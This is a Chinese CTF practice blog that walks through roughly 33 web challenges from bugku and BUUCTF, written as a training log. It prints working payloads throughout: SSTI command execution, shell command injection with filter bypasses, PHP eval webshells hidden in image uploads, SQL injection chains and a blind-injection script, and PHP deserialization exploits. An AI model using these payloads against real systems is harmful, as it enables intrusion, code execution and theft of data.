CTF刷题

2023-11-19

刷题网站:bugku;BUUCTF
本文记录了在刷题过程中所学到的知识点
坚持每天刷5道题,持续更新
坚持就是胜利鸭

CTF

1、bugku–Simple_SSLI_1

根据题目SSLI即服务端模板注入攻击,服务段接收用户输入,将其作为web应用模板的一部分,渲染编译后执行恶意内容,导致敏感信息泄露、代码执行等。

直接F12,发现提示in the flask,set a secret_key

flask模板,config是flask模板中的一个全局对象,包含了所有应用程序的配置值。

然后在url输入/?flag={{config.SECRET_KEY}}(注意要大写哦)

2、bugku–Simple_SSLI_2

/?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app/').read()}}
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
popen()打开一个指向进程的管道,改进程由派生给定的command命令执行而产生

3、bugku–Flask_FileUpload

直接F12,发现只能接收jpg和png的文件,然后上传后的文件内容会被python执行

我们新建一个文件内容是,然后将其改成png或者是jpg形式的图片,提交后,成功拿到flag

import os

os.system(‘cat /flag’)

system函数可以将字符串转化成命令在服务器上运行。

4、bugku–计算器

这个只需要把maxlength改掉或者删掉就可以

5、bugku–社工-初步收集

这个在wp的辅助下完成,太绕了

首先通过御剑扫描,登录一件刷钻 - 用户登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GWipHLuH-1628163436197)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142011445.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lFtIAMKL-1628163436200)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142113632.png)]

在这里发现一个压缩包,下载下来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XUlGPczc-1628163436202)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142159412.png)]

用wireshark进行抓包,发现user:YnVna3VrdUAxNjMuY29t和pass:WFNMUk9DUE1OV1daUURaTA==

base64解密后user=bugkuku@163.com pass=XSLROCPMNWWZQDZL

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UtCJTqcN-1628163436205)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142309516.png)]

登录邮箱后,在翻找邮件后,发现mara发的一封邮件,生日推断出来应该是2001年2月6日

在尝试后,密码是20010206,登录进网站得到flag

6、bugku–game1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hjV1udQQ-1628163436206)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151026869.png)]

直接F12,看到和分数有关的一个url

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BUIIP8Vl-1628163436208)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151219447.png)]

点进去发现zMMjc1==,275用base64解码后为Mjc1==

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0uq5AHif-1628163436208)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151242358.png)]

所以用bp,然后改请求参数,得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LqjoHPcV-1628163436209)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151351554.png)]

7、bugku–网站被黑

首先用御剑扫描,发现shell.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0pHzgIA-1628163436210)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712152147226.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gcEIfTLS-1628163436211)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712152225692.png)]

用bp进行爆破密码,密码为hack,成功拿到flag

8、bugku–管理员系统

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AkZenB0h-1628163436211)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712153111841.png)]

dGVzdDEyMw用base64解密后为test123,应该是密码什么的,但是在网页上输入username为admin,password为test123还是不行,它提示说IP禁止访问.

于是用bp抓包,请求头加上X-Forwarded-For:127.0.0.1,然后post:user=admin&&pass=test123

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RQ28aPyY-1628163436212)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712154126437.png)]

成功拿到flag

9、bugku–bp

随意输入密码后,发现脚本

var r = {code: 'bugku10000'}
  if(r.code == 'bugku10000'){
        console.log('e');
	document.getElementById('d').innerHTML = "Wrong account or password!";
  }else{
        console.log('0');
        window.location.href = 'success.php?code='+r.code;
  }

题目提示密码为“zxc???"应该是6位 ,我们可以考虑用burp进行爆破,

通过代码可以看出如果code为bugku10000是不行的,因为code在成功页面肯定不是bugku10000,可以使用{code:‘bugku10000’}对返回包内容进行筛选,最后破解得到密码为zxc123

10、bugku–变量1

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
^表示开始字符串,$表示结束字符串
\w表示包含[a-z,A-Z,_,0-9]
+表示一个或者多个\w
var_dump()函数 显示一个或多个表达式的结构信息,包括表达式的类型与值
global是变量别名,$GLOBALS是变量实体

输入url:/?args=GLOBALS,得到flag

11、bugku–eval

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);//show_source对函数的高亮显示
?>

eval函数有注入点,在url后面加上?hello=file(‘flag.php’)即可

file()函数把整个文件读入到一个数组中

12、bugku–source

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WxAOprhp-1628163436213)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712184258611.png)]

题目提示tig,百度后知道tig是Git的一个文本界面,应该是git泄露

将git文件下载,wget -r 114.67.246.176:15535/.git

然后 进入114.67.246.176:15535文件目录

然后用git reflog

git命令可以看到操作记录

git reflog可以查看所有分支的所有操作记录(包括已经被删除的commit记录和reset记录的操作)

git log命令可以显示所有提交过的版权信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2SBI9m3v-1628163436213)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712184917328.png)]

然后可以用git show+文件名一个个试,最终成功拿到flag

13、BUUCTF–warmup

百度后发现这个是phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) - 淚笑 - 博客园 (cnblogs.com)

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
            if (! isset($page) || !is_string($page)) {//如果不存在或者不是字符串就返回错误
                                               echo "you can't see it";return false; }
            if (in_array($page, $whitelist)) {return true;}
            $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//截取问号之前的字符串
            if (in_array($_page, $whitelist)) {return true;}//如果在白名单内就返回true
            $_page = urldecode($page);
            $_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//截取问号之前的字符串
            if (in_array($_page, $whitelist)) { return true; }//如果在白名单内就返回true
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&&emmm::checkFile($_REQUEST['file'])) {
        include $_REQUEST['file'];exit;} //如果file不空,是字符串,并且checkfile检查正确
    else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

mb_substr()获取部分字符串

mb_strpos()返回要查找的字符串在另一个字符串中首次出现的位置

p a g e 是 取 出 _page是取出 pagepage问号前的东西,考虑到可能有参数情况,只要$_page在白名单中就直接return true,

但是还考虑到url编码的情况,下一步又进行了url解码

所以二次编码后的内容,会让checkfile()函数返回true,但实际包含的内容不是白名单中的文件

它只是截取?号前面的字符串进行校验,但是include包含的还是之前的传入的参数,所以最后通过目录穿越到 ffffllllaaaagggg里得内容

hint.php文件中:flag not here, and flag in ffffllllaaaagggg

上面两次返回true都可以成功获得url

/source.php/?file=hint.php?../…/…/…/…/ffffllllaaaagggg

或者将?进行两次url编码

/source.php/?file=hint.php%253f…/…/…/…/…/ffffllllaaaagggg

14、BUUCTF–EasySQL

直接试用username:admin

​ password:admin’ or ‘1’='1

15、BUUCTF–include

使用php://filter伪协议来包含,其会被当作php文件执行,所以需要read=convert.base64-encode进行编码,阻止其不执行,从而导致任意文件读取

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

解码后得到php文件源码

<?php echo "Can you find out the flag?"; //flag{818e97c6-39b9-4908-8c2b-bc68aae33127} ## 16、BUUCTF--easysql 输入1,有回显 输入1’,没有回显,报错注入排除 输入非零数字得到回显,输入其余字符没有回显,则内部查询的语句可能会有|| 查看数据1';show databases# 查案表1';show tables# 方法一: 内置的sql语句可能为(||就是or的作用了) > sql="select".$_post['query']."||flag from Flag"; 让post得到的数据为*,1,则sql语句 > select *,1 ||flag from Flag > > 即 > > select * from Flag 方法二: 在Oracle数据库缺省支持通过||来实现字符串拼接,但在mysql数据中缺省不支持。需要调整**Mysql**的`sql_mode`模式:`pipes_as_concat`来实现**Oracle**的一些功能: > 1;set sql_mode=PIPES_AS_CONCAT;select 1 select 1 from 会增加一个临时列,列名为1,然后一列的值都为1 select 1 ||flag from 会返回列名为1的列和flag列的组合 ## 17、BUUCTF--secret file 通过BurpSuite抓包得到secr3t.php ,访问 ``` <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?>

payload: /secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php 

得到解码后

<?php
echo "Can you find out the flag?";
//flag{818e97c6-39b9-4908-8c2b-bc68aae33127}

## 18、BUUCTF--Eexc

exec--执行一个外部程序

输入: 127.0.0.1;cat /flag

## 19、BUUCTF--LOVESQL

试一下username:admin;password:admin ' or '1'=1

![image-20210803103231660](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803103231660.png)

尝试1' order by 4#

![image-20210803103318658](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803103318658.png)

尝试1' order by 3 #

![image-20210803103343438](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803103343438.png)

说明列数为3

然后获取所有数据库名

> 1‘ union select 1,2,database()#

获取所有表名

> 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

表名:geekuser,l0ve1ysq1

获取所有列名

> 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

id,username,password

获取所有数据

> 1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from l0ve1ysq1%23

## 20、BUUCTF--Ping Ping Ping

?ip=127.0.0.1;ls

得到index.php和index.php

尝试?ip=127.0.0.1 ;cat flag.php

但是一直提示/?ip= fxck your space!

应该是对空格进行了过滤

%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 

`构造`?ip=127.0.0.1;cat$IFS$1flag.php

提示 /?ip= fxck your flag!,对flag过滤

然后查看?ip=127.0.0.1;cat$IFS$1index.php

<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "
";
  print_r($a);
}
 
?>

1、通过变量实现字符串拼接

> /?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 

 2、通过执行sh命令来执行 (bash被过滤了,不然也可以执行)

> /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

sh是Linux中运行shell的命令

3、/?ip=127.0.0.1;cat$IFS$9`ls`

内联执行,将反引号内命令的输出作为输入执行

## 21、BUUCTF--HTTP

![image-20210803112900193](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803112900193.png)

![image-20210803112930247](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803112930247.png)

添加Referer:https://www.Sycsecret.com

![image-20210803113030638](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803113030638.png)

在user-agent添加Syclover

![image-20210803113122678](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803113122678.png)

添加X-Forwarded-For:127.0.0.1

## 22、BUUCTF--Easy Calc

calc.php

<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>

1、PHP的字符串解析特性

> PHP将查询字符串转换为内部$_GET或关联数组$_POST,查询字符串在解析的过程中会将某些字符删除或用下划线代替

因为waf不允许num变量传递字母,可以在num前加上空格

首先扫描目录下的所有文件,var_dump(scandir(chr(47))),因为'/'被过滤了,所以用chr(47)绕过

var_dump(file_get_contents(chr(47).f1agg))读取文件

## 23、BUUCTF--Upload

先上传一句话木马:<?php @eval($_POST['aaa']);?>命名为aaa.png

发现后端对文件内容进行了检测,接下来用文件幻术头的方式进行绕过

GIF89a

<script language='php'>eval($_POST['shell']);</script>

成功绕过检测然后,将文件后缀名改成phtml

接下来用蚁剑进行连接

## 24、easy_tornado

flag.txt    flag in /fllllllllllllag

welcome.txt render

/hints.txt
md5(cookie_secret+md5(filename))

render是python的一个模板

> url由filename和filehash组成,当有filename和filehash不匹配时,将会跳转到error?msg=Error
>
> 看到msg参数,尝试模板注入,error?msg={{1}},发现存在模板注入

根据题目提示搜索tornado cooie_secret

> 与RequestHandler关联的Application对象有setting这个属性

获得secret_cookie的方法:error?msg={{handler.settings}}

> handler就是指向RequestHandler的对象

## SSTI

//获取基本类
‘’.class.mro[1]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
object

//读文件
().class.bases[0].subclasses()40.read()
object.subclasses()40.read()

//写文件
().class.bases[0].subclasses()40.write(‘123’)
object.subclasses()40.write(‘123’)

//执行任意命令
().class.bases[0].subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /var/www/html”).read()’ )
object.subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /var/www/html”).read()’ )


## 25、BUUCTF--PHP

<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>



<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } #序列化将对象转化为字符串,反序列化将字符串转化为对象 function __wakeup(){#在序列化之后立即调用(在反序列化前被调用) $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } $a=new Name('admin',100); $b=serialize($a); var_dump($b); ?>

private属性序列化:%00类名%00成员名

protect属性序列化:%00*%00成员名

> O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
>
> O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
>
> 在反序列化前会先调用wakeup,所以要把name改为3,当反序列化时,若属性个数大于真实属性个数时,则会跳过wakeup
>
> O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}



1、Session欺骗

{% include(‘header.html’) %}
{% if current_user.is_authenticated %}

Hello {{ session['name'] }}

{% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %}

hctf{xxxxxxxxx}

{% endif %}

Welcome to hctf

{% include(‘footer.html’) %}


> 只要从session中得到name为admin就会显示flag,其session存储在客户端,也就是说其实只是将相关内容进行加密保存到了session中。

2、Unicode欺骗

> 通过代码审计能看到在注册、登陆和修改密码的方法中,都对用户名进行了`strlower`函数的操作。python本身就有`str.lower()`的方法,作者还专门写了一个自己的方法。这个方法里面有一个漏洞,就算Unicode欺骗。
>
> 只需要注册`ᴬdmin`账户,然后登陆上去修改密码后,就能直接修改掉`admin`的密码。然后使用这个新密码直接登陆`admin`账号。字符可以在这个网站找https://unicode-table.com/en/1D2E/,类型为Modifier Letter Capital。
>
> 

26、BUUCTF 


需要注意cookie也需要改

## 27、BUUCTF--Easy MD5

在响应头里发现

>  select * from 'admin' where password=md5($pass,true)

md5(string,raw)

> content: ffifdyop
> hex: 276f722736c95d99e921722cf9ed621c
> raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
> string: 'or'6]!r,b

在mysql中。以数字开头的字符串会被当做整型数;password='xxx' or '1xxxxx'

## 28、BUUCTF--NiZhuanSiWei

<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "

".file_get_contents($text,'r')."

"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

1、file_get_contents()

> 该函数用于把文件的内容读入到一个字符串中

将文件内容通过data伪协议写进去

> ?text=data://text/plain,welcome to the zjctf
>
> ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

2、用php://filter协议来读取useless.php

> ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

3、BASE64解密,然后在本地进行序列化操作

<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>

> O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

## 29、BUUCTF--CheckIn

上传b.png

> GIF
>
> <script language='php'>eval($_POST['b']);</script>

抓包后,改掉后缀不可以;

.user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件

> GIF
>
> auto_prepend_file=b.png
>
> 所有的php文件执行前会将b.png当作php类型的文件先包含执行一遍

先上传.user.ini文件,接着上传一个b.png,接着访问上传目录下的index.php,用蚁剑连接

## 30、BUUCTF--hardsql

发现order by和union都不行

可以使用extractvalue和updatexml进行报错注入

但是该题目还过滤了空格,可以用^来连接函数形成异或

username=1&password=1'^extractvalue(1,concat(0x7e,(select(database()))))#

> geek

username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))#

> XPATH syntax error: '~ALL_PLUGINS,APPLICABLE_ROLES,CH'

因为过滤了等于号,可以用like来代替

username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#

> XPATH syntax error: '~H4rDsq1'

username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#

> XPATH syntax error: '~id,username,password'

username=1&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))#

> XPATH syntax error: '~flag{3a61a948-da2d-4212-b177-38'

username=1&password=1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))#

> XPATH syntax error: '~flag{3a61a948-da2d-4212-b177-3'

username=1&password=1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))#

> XPATH syntax error: '~8-da2d-4212-b177-3835720a19e6}'

## 31、BUUCTF--Hack World

php sql注入 盲注

import requests

url = “http://e915fbd5-665f-4f9d-a5f1-3e7007e58999.node3.buuoj.cn/index.php”
temp = {“id”:“0”}
re1 = len(requests.post(url, data=temp).text)
print(re1)
flag = ‘’

for i in range(1,100):
for j in range(45,126):
temp[“id”] = “1^(ascii(substr((select(flag)from(flag)),” + str(i) + “,1))=” + str(j) +")"
re = len(requests.post(url, data=temp).text)
if re == re1:
flag = flag + chr(j)
print(flag)
break


## 32、BUUCTF--AreUSerialz

```php
<?php

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid()判断在(ord( s [ s[ s[i]) >= 32 && ord( s [ s[ s[i]) <= 125)中

<?php
class FileHandler {
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
}

$a = new FileHandler();
$b = serialize($a);
print_r($b);

33、BUUCTF–BaBySQLi

当输入admin时提醒wrong pass,输入其他时提醒wrong user

使用联合注入,当联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

$data = select * from users where username=$name.
if ($data['username'] === 'admin') {
	if ($data['password'] === md5($pw)) {
		return true;
	}
}

name=1’ union select 1,‘admin’,‘5f4dcc3b5aa765d61d8327deb882cf99’ #&pw=password

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTF刷题 的相关文章

随机推荐

  • K8S存储之volume

    K8S存储之volume 容器磁盘上的文件的生命周期是短暂的 这就使得在容器中运行重要应用时会出现一些问题 首先 当容器崩溃时 kubelet会重启它 但是容器中的文件将丢失一一容器以干净的状态 镜像最初的状态 重新启动 其次 在Pod中同
  • 【Python】Jupyter Notebook无法运行代码,不可重命名且提示error和自动保存失败时如何操作?

    Python Jupyter Notebook无法运行代码 且提示error和自动保存失败时如何操作 Anaconda的Jupyter Notebook作为优秀的网页编辑器 非常适用于编写Python程序 但往往可能因安装版本不兼容等原因而
  • Flutter中的依赖注入——get_it

    Flutter社区的一个library get it 视频介绍 Flutter Dependency Injection For Beginners Complete Guide 视频对应的博文 Dependency Injection i
  • JavaWeb开发中出现DataSource读取不到怎么办呢?(详细,适合初入门的程序员)

    这样的问题是怎么产生的呢 其实啊也不难 来吧 跟我走一遍 目录 前言 二 使用步骤 1 基本的JavaWeb项目的结构 1 1 创建一个JavaWeb项目 1 2 配置文件的配置 1 3 重点来了 2 DBUtil的代码内容 3 测试 总结
  • 树的广度优先遍历与深度优先遍历算法

    1 树的广度优先遍历算法 广度优先遍历算法 又叫宽度优先遍历 或横向优先遍历 是从根节点开始 沿着树的宽度遍历树的节点 如果所有节点均被访问 则算法中止 如上图所示的二叉树 A 是第一个访问的 然后顺序是 B C 然后再是 D E F G
  • 数据库实体关系图(ERD)

    数据库是软件系统中不可或缺的一个组成部分 若能在数据库工程中好好利用 ER 图 便能让您生成高质量的数据库设计 用于数据库创建 管理和维护 也为人员间的交流提供了有意义的基础 今天 我们将为你深入介绍 ER 图表 通过阅读本ERD指南 您将
  • Gikee 大数据

    据Gikee数据显示 今日13 58分 地址 1MAhRt279uYmVC1dUxKR6dWwEULBJT34Nh 向地址 1Fc4QQu6nEc4snAe4HAb4Kryd8koH89pYk 转了34010个BTC 价值约2 17亿美元
  • stm32USB之模拟U盘

    STMF0 W25Q32模拟U盘 1 第一次写博客 如有错误 请及时指正 如有表达不通顺的地方 敬请谅解 2 本篇文章主要描述如何使用STM32cube配置USB 使用的主控为STM32F072 Flash为W25Q32 使用的主控RAM只
  • scrapy爬虫错误一:无法爬到期望的数据

    最近在开始学习scrapy爬虫 遇到了一处很坑的地方 在屏幕上输出的debug信息总是没有任何结果就直接提示 scrapy statscollectors INFO Dumping Scrapy stats scrapy core engi
  • 2023算法面试题1

    1 介绍SAM模型 2 大语言模型的微调方法 3 yolov8与yolov5的区别 4 介绍LoRA和QLoRA微调技术 5 negative prompt怎么做的 6 stable diffusion的结构与原理
  • tc 流控脚本

    系统平台 RedHat AS4 root bridgenet software uname a Linux bridgenet 2 6 9 42 ELsmp 1 SMP Wed Jul 12 23 27 17 EDT 2006 i686 i
  • upf仿真例子

    原文链接 关于什么是UPF以及电源域等等概念赛宝龙在这里就不多说了 有兴趣的可以查阅IEEE1801 2013标准 先上低功耗要求 即power intent 顶层模块为TOP 而TOP中例化了一个子模块 其例化名为instA1 具体的代码
  • 危化安全生产信息化平台在煤化领域的应用

    一 背景介绍 煤化工行业是一个集煤炭 石油 化工等多种产业于一体的综合性行业 其特点是工艺流程复杂 设备繁多 安全隐患大 近年来 随着煤化工行业的快速发展 安全生产问题日益凸显 为了有效提高危化安全生产水平 某煤化工企业引入了信息化技术 搭
  • Springboot+Websocket中@Autowired注入service为null的解决方法

    使用工具类用于从Spring的上下文中去获取到类的实例 ServerEndpoint websocket userId Component 关键点1 public class WebSocket private static UserSer
  • 高效程序员的40个好习惯和行为方式

    每一个好的习惯 开头都会相应有一个唱反调的句子哦 1 做事 出了问题 第一重要的是确定元凶 找到那个人 一旦证实了是他的错误 就可以保证这样的问题永远也不会再发生了 指责不会修复bug 把矛头对准问题的解决办法 而不是人 这是真正有用处的正
  • Modbus​协议​深入​讲解_NI

    from https www ni com zh cn innovations white papers 14 the modbus protocol in depth html 已 更新 Mar 5 2019
  • hutool的json工具完成list和json转换

    将json和list相互转换 import cn hutool json JSONArray import cn hutool json JSONUtil List转Json maps是List类型的参数 String json JSONU
  • 因果系列文章(10)—— 因果关系发现

    如何从纷繁复杂的数据中发现其中隐含因果关系 就是因果关系发现 casual discovery 要做的工作 本节简要总结这方面的工作 主要材料来源于 Elements of Causal Inference Foundations and
  • 基于Fruits-360数据集构建CNN进行水果识别实验

    基于Fruits 360数据集的水果识别项目 前段时间导师要求做一个神经网络可视化的项目 要将水果数据集进行训练得到模型 用于TensorSpace可视化 前前后后捣鼓了很久 现在回过头总结一下整个项目过程 写下这篇博客记录遇到的问题 有任
  • CTF刷题

    刷题网站 bugku BUUCTF 本文记录了在刷题过程中所学到的知识点 坚持每天刷5道题 持续更新 坚持就是胜利鸭 CTF 1 bugku Simple SSLI 1 根据题目SSLI即服务端模板注入攻击 服务段接收用户输入 将其作为we